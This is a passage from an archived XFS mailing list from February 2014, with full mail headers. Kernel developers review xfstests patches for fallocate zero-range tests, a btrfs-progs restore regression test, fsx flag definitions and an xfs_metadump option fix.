AtxMALwCDVN5LJYePGdsb2JhbABZgwaIT7Q9hVaBGRcDAQEBATg1giUBAQU6HBgLEAgDDgoJJQ8FJQMHGhOIBMg3FxaOOgeDJIEUAQOYNZVqKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 07:25:58 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIP2k-0002HJ-2V; Wed, 26 Feb 2014 07:55:58 +1100 Date: Wed, 26 Feb 2014 07:55:58 +1100 From: Dave Chinner To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 1/6] generic/290: Add test for fallocate zero range Message-ID: <20140225205558.GE13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/6] generic/290: Add test for fallocate zero range References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> <20140225200117.GY13647@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140225200117.GY13647@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393361759 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145508 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Wed, Feb 26, 2014 at 07:01:17AM +1100, Dave Chinner wrote: > Also, I haven't seen patches 3, 4 or 6 on the list, and they haven't > made it to the archive, either. Can you please resend them? They took a couple of hours to come through, for some reason, and were delivered by a different mailing list. So who knows what went wrong there. No need to resend them. Cheers, Dave. -- Dave Chinner david@fromorbit.com From lczerner@redhat.com Tue Feb 25 15:01:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BA9347F50 for ; Tue, 25 Feb 2014 15:01:19 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7FF838F8039 for ; Tue, 25 Feb 2014 13:01:16 -0800 (PST) X-ASG-Debug-ID: 1393362075-04bdf05dac39810001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id D4rrKUGnawNdBAuf for ; Tue, 25 Feb 2014 13:01:15 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1PL1AWp024631 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 25 Feb 2014 16:01:11 -0500 Received: from vpn1-4-133.ams2.redhat.com (vpn1-4-133.ams2.redhat.com [10.36.4.133]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1PL178u027329 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 25 Feb 2014 16:01:09 -0500 Date: Tue, 25 Feb 2014 22:01:06 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Dave Chinner cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range In-Reply-To: <20140225205349.GD13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range Message-ID: References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> <1393355728-12056-6-git-send-email-lczerner@redhat.com> <20140225205349.GD13647@dastard> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393362075 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Wed, 26 Feb 2014, Dave Chinner wrote: > Date: Wed, 26 Feb 2014 07:53:49 +1100 > From: Dave Chinner > To: Lukas Czerner > Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com > Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero > range > > On Tue, Feb 25, 2014 at 08:15:28PM +0100, Lukas Czerner wrote: > > This is copy of xfs/242. However it's better to make it file system > > specific because the range can be zeroes either directly by writing > > zeroes, or converting to unwritten extent, so the actual result might > > differ from file system to file system. > > You could say the same thing about preallocation using unwritten > extents. Yet, funnily enough, we have generic tests for them because > all filesystems currently use unwritten extents for preallocation > and behave identically.... > > This test is no different - all filesystems currently use unwritten > extents, and so this test should be generic because all existing > filesystems *should* behave the same. > > When we get a filesystem that zeros rather uses unwritten extents, > we can add a new *generic* test that tests for zeroed data extents > rather than unwritten extents. All that we will need is a method of > checking what behaviour the filesystem has and adding that to a > _requires directive to ensure the correct generic fallocate tests > are run... Currently xfs/242 fails on xfs for me and it does behave differently than ext4. Also I had to change to 242.out a bit because ext4 was a little different. It seems to me that it was expected that when the extent is small enough it would be overwritten by zeroes rather than converted to unwritten, but I have not looked into implementation. Btw this kind of optimization is actually something I've been thinking of as well for ext4. Rather than going though the hassle of changing extents around it might be worth in some situation to zero out. But that's an optimization I have not implemented yet. -Lukas > > Cheers, > > Dave. > From fdmanana@gmail.com Tue Feb 25 15:02:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C7A007F50 for ; Tue, 25 Feb 2014 15:02:49 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 51A75AC001 for ; Tue, 25 Feb 2014 13:02:46 -0800 (PST) X-ASG-Debug-ID: 1393362163-04cbb066e7398b0001-NocioJ Received: from mail-bk0-f53.google.com (mail-bk0-f53.google.com [209.85.214.53]) by cuda.sgi.com with ESMTP id Al8Veig88CEoNYs4 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 25 Feb 2014 13:02:44 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.53 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.53] Received: by mail-bk0-f53.google.com with SMTP id my13so430923bkb.40 for ; Tue, 25 Feb 2014 13:02:43 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.53] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.53] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:in-reply-to:references:date:message-id :subject:from:to:cc:content-type; bh=0BHiObYCLnr3J4K0SdEQdgKODrYwEmWT1HVomWcKTrU=; b=YchH5W2pnB5hsizb5KQABb/78fLofBEjIptPxjRQqS/JCHGB+6uMmQztb3WrrBpQhO OYIY/UNTnSHqrjtV8sJo8FyqScqkpB26thKlaX5LznNUwLO/rTaZctmhL3nV6wwg9BeH P7XqLPA9fHETw6xGsfg/FMVI+1RR4D56R71AHi2lTyCASgvFcsER2mVRCTVME886C6Bt ptDwG1M+iF6VWemYueEdbrbhSFDXHurIf+Forcr0mc4+uxJzQgOuIcrYARWhDtaB/FXX GlNSmaRx1hWyntp90ONc/Om+jKSZxG/fofNyaFdCfcMFsk+5vOnMJihUnF6N0auoyFP1 zeCA== MIME-Version: 1.0 X-Received: by 10.204.170.72 with SMTP id c8mr1360298bkz.34.1393362163208; Tue, 25 Feb 2014 13:02:43 -0800 (PST) Received: by 10.204.69.197 with HTTP; Tue, 25 Feb 2014 13:02:43 -0800 (PST) Reply-To: fdmanana@gmail.com In-Reply-To: <20140225195420.GX13647@dastard> References: <1393352816-26065-1-git-send-email-fdmanana@gmail.com> <1393353848-26790-1-git-send-email-fdmanana@gmail.com> <20140225195420.GX13647@dastard> Date: Tue, 25 Feb 2014 21:02:43 +0000 Message-ID: Subject: Re: [PATCH v2] xfstests: add test for btrfs-progs restore feature From: Filipe David Manana X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: add test for btrfs-progs restore feature To: Dave Chinner Cc: "xfs@oss.sgi.com" , "linux-btrfs@vger.kernel.org" Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-bk0-f53.google.com[209.85.214.53] X-Barracuda-Start-Time: 1393362164 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145508 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Feb 25, 2014 at 7:54 PM, Dave Chinner wrote: > On Tue, Feb 25, 2014 at 06:44:08PM +0000, Filipe David Borba Manana wrote: >> This is a regression test to verify that the restore feature of btrfs-progs >> is able to correctly recover files that have compressed extents, specially when >> the respective file extent items have a non-zero data offset field. >> >> This issue is fixed by the following btrfs-progs patch: >> >> Btrfs-progs: fix restore of files with compressed extents >> >> Signed-off-by: Filipe David Borba Manana > .... >> +seq=`basename $0` >> +seqres=$RESULT_DIR/$seq >> +echo "QA output created by $seq" >> + >> +tmp=/tmp/$$ >> +status=1 # failure is the default! >> +trap "_cleanup; exit \$status" 0 1 2 3 15 > > here=`pwd` Didn't we agree before, for a previous path, to export "here" from the main control skip and then cleanup tests to not redefine it? I am confused now :) > >> + >> +_cleanup() >> +{ >> + rm -fr $tmp >> +} >> + >> +# get standard environment, filters and checks >> +. ./common/rc >> +. ./common/filter >> + >> +# real QA test starts here >> +_supported_fs btrfs >> +_supported_os Linux >> +_require_scratch >> +_need_to_be_root >> + >> +rm -f $seqres.full >> + >> +test_btrfs_restore() >> +{ >> + if [ -z $1 ] >> + then >> + OPTIONS="" >> + else >> + OPTIONS="-o compress-force=$1" >> + fi >> + _scratch_mkfs >/dev/null 2>&1 >> + _scratch_mount $OPTIONS >> + >> + $XFS_IO_PROG -f -c "pwrite -S 0xff -b 100000 0 100000" \ >> + $SCRATCH_MNT/foo | _filter_xfs_io >> + >> + # Ensure a single file extent item is persisted. >> + _run_btrfs_util_prog filesystem sync $SCRATCH_MNT > > What's the difference here between "sync" and the command run above? > Unless there's some specific reason for using the above command (and > that needs to be commented), I think that sync(1) should be used > instead in all tests. I want to force a btrfs transaction commit. Plain old 'sync' would do it as well for sure, but that applies against all mounted FSs, while btrfs filesystem sync is applied against a single fs. Plus, since this is a btrfs specific test, is it non sense to exercise commands from btrfs-progs? > > Indeed, why a separate command - just adding a "-c fsync" to the > xfs_io command, or even -s to make it open the file O_SYNC should do > what you need without needing a specific sync command.... > > >> + >> + $XFS_IO_PROG -c "pwrite -S 0xaa -b 100000 100000 100000" \ >> + $SCRATCH_MNT/foo | _filter_xfs_io >> + >> + # Now ensure a second one is created (and not merged with previous one). >> + _run_btrfs_util_prog filesystem sync $SCRATCH_MNT >> + >> + # Make the extent item be split into several ones, each with a data >> + # offset field != 0 >> + $XFS_IO_PROG -c "pwrite -S 0x1e -b 2 10000 2" $SCRATCH_MNT/foo \ >> + | _filter_xfs_io >> + $XFS_IO_PROG -c "pwrite -S 0xd0 -b 11 33000 11" $SCRATCH_MNT/foo \ >> + | _filter_xfs_io >> + $XFS_IO_PROG -c "pwrite -S 0xbc -b 100 99000 100" $SCRATCH_MNT/foo \ >> + | _filter_xfs_io >> + >> + md5sum $SCRATCH_MNT/foo | _filter_scratch > > So you are doing this with first having "persisted" the new extents. > Seems kind of strange that you need to persist some and not > others... I need to make sure there's fragmentation (i.e. several file extent items in the fs btree with data offset fields > 0). > >> + _scratch_unmount >> + _check_scratch_fs > > _check_scratch_fs should be unmounting the SCRATCH_DEV itself > internally. If it's not doing that for btrfs, then the btrfs check > code needs fixing. ;) No it doesn't unmount. > >> + >> + _run_btrfs_util_prog restore $SCRATCH_DEV $tmp >> + md5sum $tmp/foo | cut -d ' ' -f 1 > > What, exactly, are you restoring to /tmp/$$? Does this assume that > /tmp is a btrfs filesystem? If so, that is an invalid assumption - > /tmp can be any type of filesystem at all. The restore command allows you to grab files from a (potentially damaged) btrfs filesystem and save them to a destination path, no matter what its filesystem is (btrfs, extN, xfs, etc) > > It's also wrong to use $tmp like this.... > >> +} >> + >> +mkdir $tmp >> +echo "Testing restore of file compressed with lzo" >> +test_btrfs_restore "lzo" >> +echo "Testing restore of file compressed with zlib" >> +test_btrfs_restore "zlib" >> +echo "Testing restore of file without any compression" >> +test_btrfs_restore > > Yup, using $tmp like this is definitely wrong. $tmp is really for test > harness files and test logs, not for *test data*. TEST_DIR is what you > should be using here, not $tmp. Alright... Many other existing tests do things like this. Thanks Dave > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com -- Filipe David Manana, "Reasonable men adapt themselves to the world. Unreasonable men adapt the world to themselves. That's why all progress depends on unreasonable men." From david@fromorbit.com Tue Feb 25 15:50:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6B1347F50 for ; Tue, 25 Feb 2014 15:50:21 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4F56E304066 for ; Tue, 25 Feb 2014 13:50:18 -0800 (PST) X-ASG-Debug-ID: 1393365015-04cbb066e43b020001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id wGCrmKzz3HNtDC63 for ; Tue, 25 Feb 2014 13:50:16 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvRMAKAPDVN5LJYePGdsb2JhbABZgwaEFYQ6tD2FVoEZFwMBAQEBODWCJQEBBAEjDwEjIwULCAECEQMBAgECAgUhAgIPBSUDBwwOE4d9B4stm3+hFBcWgRONJweCbzWBFASYNZVqKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 08:20:14 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIPtD-0002PP-7t; Wed, 26 Feb 2014 08:50:11 +1100 Date: Wed, 26 Feb 2014 08:50:11 +1100 From: Dave Chinner To: =?utf-8?B?THVrw6HFoQ==?= Czerner Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range Message-ID: <20140225215011.GF13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> <1393355728-12056-6-git-send-email-lczerner@redhat.com> <20140225205349.GD13647@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393365015 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145510 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 10:01:06PM +0100, Lukáš Czerner wrote: > On Wed, 26 Feb 2014, Dave Chinner wrote: > > > Date: Wed, 26 Feb 2014 07:53:49 +1100 > > From: Dave Chinner > > To: Lukas Czerner > > Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com > > Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero > > range > > > > On Tue, Feb 25, 2014 at 08:15:28PM +0100, Lukas Czerner wrote: > > > This is copy of xfs/242. However it's better to make it file system > > > specific because the range can be zeroes either directly by writing > > > zeroes, or converting to unwritten extent, so the actual result might > > > differ from file system to file system. > > > > You could say the same thing about preallocation using unwritten > > extents. Yet, funnily enough, we have generic tests for them because > > all filesystems currently use unwritten extents for preallocation > > and behave identically.... > > > > This test is no different - all filesystems currently use unwritten > > extents, and so this test should be generic because all existing > > filesystems *should* behave the same. > > > > When we get a filesystem that zeros rather uses unwritten extents, > > we can add a new *generic* test that tests for zeroed data extents > > rather than unwritten extents. All that we will need is a method of > > checking what behaviour the filesystem has and adding that to a > > _requires directive to ensure the correct generic fallocate tests > > are run... > > Currently xfs/242 fails on xfs for me Really? Where's the bug report? I haven't seen a failure on xfs/242 on any of my test machines for at least a year, even on 1k block size filesystems... $ sudo ./check xfs/242 FSTYP -- xfs (debug) PLATFORM -- Linux/x86_64 test2 3.14.0-rc3-dgc+ MKFS_OPTIONS -- -f -bsize=4096 /dev/vdb MOUNT_OPTIONS -- /dev/vdb /mnt/scratch xfs/242 1s ... 0s Ran: xfs/242 Passed all 1 tests $ > and it does behave differently than ext4. In what way? Does FALLOC_FL_ZERO_RANGE on XFS behave identically to XFS_IOC_ZERO_RANGE, or is that different too? Or you haven't tested it because you wrote this test as an ext4 specific test and so haven't run this specific test exercising the FALLOC_FL_ZERO_RANGE path in XFS? IOWs, how do you know that what you are seeing is not a bug in the ext4 (or XFS for that matter) implementation? > Also I had to change to 242.out a bit because ext4 was > a little different. It seems to me that it was expected that when > the extent is small enough it would be overwritten by zeroes rather > than converted to unwritten, but I have not looked into > implementation. The test assumes that sub-block head and tail ranges will be zeroed, and everything else will be converted to unwritten extents. i.e. a single block aligned range will get converted to unwritten, but a single unaligned block range will result in the two overlapping blocks being zeroed (because they still contain valid data). This is the same sub-block zeroing behaviour as is done for hole punching - the only difference between a hole punch and a zero range on filesystems that use unwritten extents should be that the range being operated on has unwritten extents rather a hole..... > Btw this kind of optimization is actually something I've been > thinking of as well for ext4. Rather than going though the hassle of > changing extents around it might be worth in some situation to zero > out. But that's an optimization I have not implemented yet. Exactly my point - until such optimisations are implemented, all the filesystems should be behaving the same way using unwritten extents, just like for hole punching. Hence the tests should be checking that the behaviour is the same across filesystems, just like we do for hole punching. Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 25 15:56:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 93F057F50 for ; Tue, 25 Feb 2014 15:56:24 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1BF9CAC004 for ; Tue, 25 Feb 2014 13:56:24 -0800 (PST) X-ASG-Debug-ID: 1393365379-04cbb066e43b360001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id n27fzuh13NvvWQo4 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 13:56:19 -0800 (PST) X-Barracuda-Envelope-From: BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WIPz6-0000L5-9Z; Tue, 25 Feb 2014 21:56:16 +0000 Date: Tue, 25 Feb 2014 13:56:16 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Lukas Czerner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Subject: Re: [PATCH 5/6] xfstests: Define fallocate flags locally in fsx Message-ID: <20140225215616.GA29752@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 5/6] xfstests: Define fallocate flags locally in fsx References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> <1393355728-12056-5-git-send-email-lczerner@redhat.com> <20140225203922.GC13647@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140225203922.GC13647@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1393365379 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145510 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Wed, Feb 26, 2014 at 07:39:22AM +1100, Dave Chinner wrote: > > index b3c30db..331257e 100644 > > --- a/ltp/fsx.c > > +++ b/ltp/fsx.c > > @@ -35,8 +35,13 @@ > > #endif > > #ifdef FALLOCATE > > #include > > +#ifndef FALLOC_FL_PUNCH_HOLE > > +#define FALLOC_FL_PUNCH_HOLE 0x02 /* de-allocates range */ > > +#endif > > +#ifndef FALLOC_FL_ZERO_RANGE > > +#define FALLOC_FL_ZERO_RANGE 0x10 /* zeroes range */ > > +#endif > > #endif > > This pattern is appearing all over the place in xfstests now. I'd > suggest that this should really be handled by autoconf, > include/config.h and src/globals.h.... Can we handle this nicely using autoconf, especially in the case of O_ flags that might be different for different architectures? Either way having a single header for the various flags that might not be present in the system headers sounds like a good plan. From BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 25 16:03:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C62DD7F50 for ; Tue, 25 Feb 2014 16:03:33 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id AA92E304071 for ; Tue, 25 Feb 2014 14:03:30 -0800 (PST) X-ASG-Debug-ID: 1393365809-04cbb066e43b7b0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 9Kf85StrONazFZbo (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 14:03:29 -0800 (PST) X-Barracuda-Envelope-From: BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WIQ64-0001dL-PZ; Tue, 25 Feb 2014 22:03:28 +0000 Date: Tue, 25 Feb 2014 14:03:28 -0800 From: Christoph Hellwig To: Eric Sandeen Cc: xfs-oss , Boris Ranto Subject: Re: [PATCH] xfs_metadump: include F in getopts string Message-ID: <20140225220328.GA5450@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs_metadump: include F in getopts string References: <530CC371.8030005@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <530CC371.8030005@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1393365809 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145510 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Feb 25, 2014 at 10:23:13AM -0600, Eric Sandeen wrote: > I added an F case, but didn't add it to the bash > getopts string last go-round. > > /usr/sbin/xfs_metadump: illegal option -- F > > I sure thought I tested this, I'm not sure how it got lost. Well, better write a test for xfstests so that we can test it as part of the regression test run. Otherwise: Reviewed-by: Christoph Hellwig From lczerner@redhat.com Tue Feb 25 16:04:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B3F5E7F50 for ; Tue, 25 Feb 2014 16:04:39 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 97FAA8F8073 for ; Tue, 25 Feb 2014 14:04:36 -0800 (PST) X-ASG-Debug-ID: 1393365875-04cb6c567838650001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 0Fn0LReIHLOFDNa7 for ; Tue, 25 Feb 2014 14:04:35 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1PM4SXU003974 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 25 Feb 2014 17:04:33 -0500 Received: from vpn1-4-133.ams2.redhat.com (vpn1-4-133.ams2.redhat.com [10.36.4.133]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1PLRe1R019843 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 25 Feb 2014 16:27:42 -0500 Date: Tue, 25 Feb 2014 22:27:40 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Dave Chinner cc: 